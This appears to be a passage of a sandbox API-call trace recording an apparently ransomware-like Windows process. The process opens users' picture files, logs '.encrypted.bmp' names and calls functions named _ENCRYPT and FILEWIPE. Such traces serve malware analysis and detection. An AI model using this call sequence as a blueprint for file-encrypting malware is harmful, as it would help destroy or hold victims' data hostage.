[0027.942] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.942] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.942] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.942] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.943] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.943] CharLowerBuffW (in: lpsz="byte[10062]", cchLength=0xb | out: lpsz="byte[10062]") returned 0xb [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.944] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.944] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.944] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.945] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.945] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.945] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.946] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.946] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=8121) returned 1 [0027.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.946] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.946] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1fb9, lpOverlapped=0x0) returned 1 [0027.947] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.947] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1fb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.947] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=8121) returned 1 [0027.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.encrypted.bmp\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0027.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.encrypted.bmp\r\n", cchWideChar=66, lpMultiByteStr=0xe8f4051810, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\laAxEFBmzBFaQO.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 66 [0027.947] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069ad0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069ad0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0027.947] CloseHandle (hObject=0x188) returned 1 [0027.948] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.948] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.949] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.949] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.949] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.950] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.950] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.950] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.951] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg", cchWideChar=76, lpMultiByteStr=0xe8f4069cb0, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg", lpUsedDefaultChar=0x0) returned 76 [0027.951] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\1nojs0zz_yk9vps.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0027.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0xe8f405ff40, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\1NOjs0ZZ_yk9Vps.jpg") returned 76 [0027.952] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.952] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.953] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.953] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.953] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.953] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.953] CloseHandle (hObject=0x188) returned 1 [0027.953] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.954] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.954] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.954] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.954] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.954] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.954] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.955] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.955] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0027.955] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 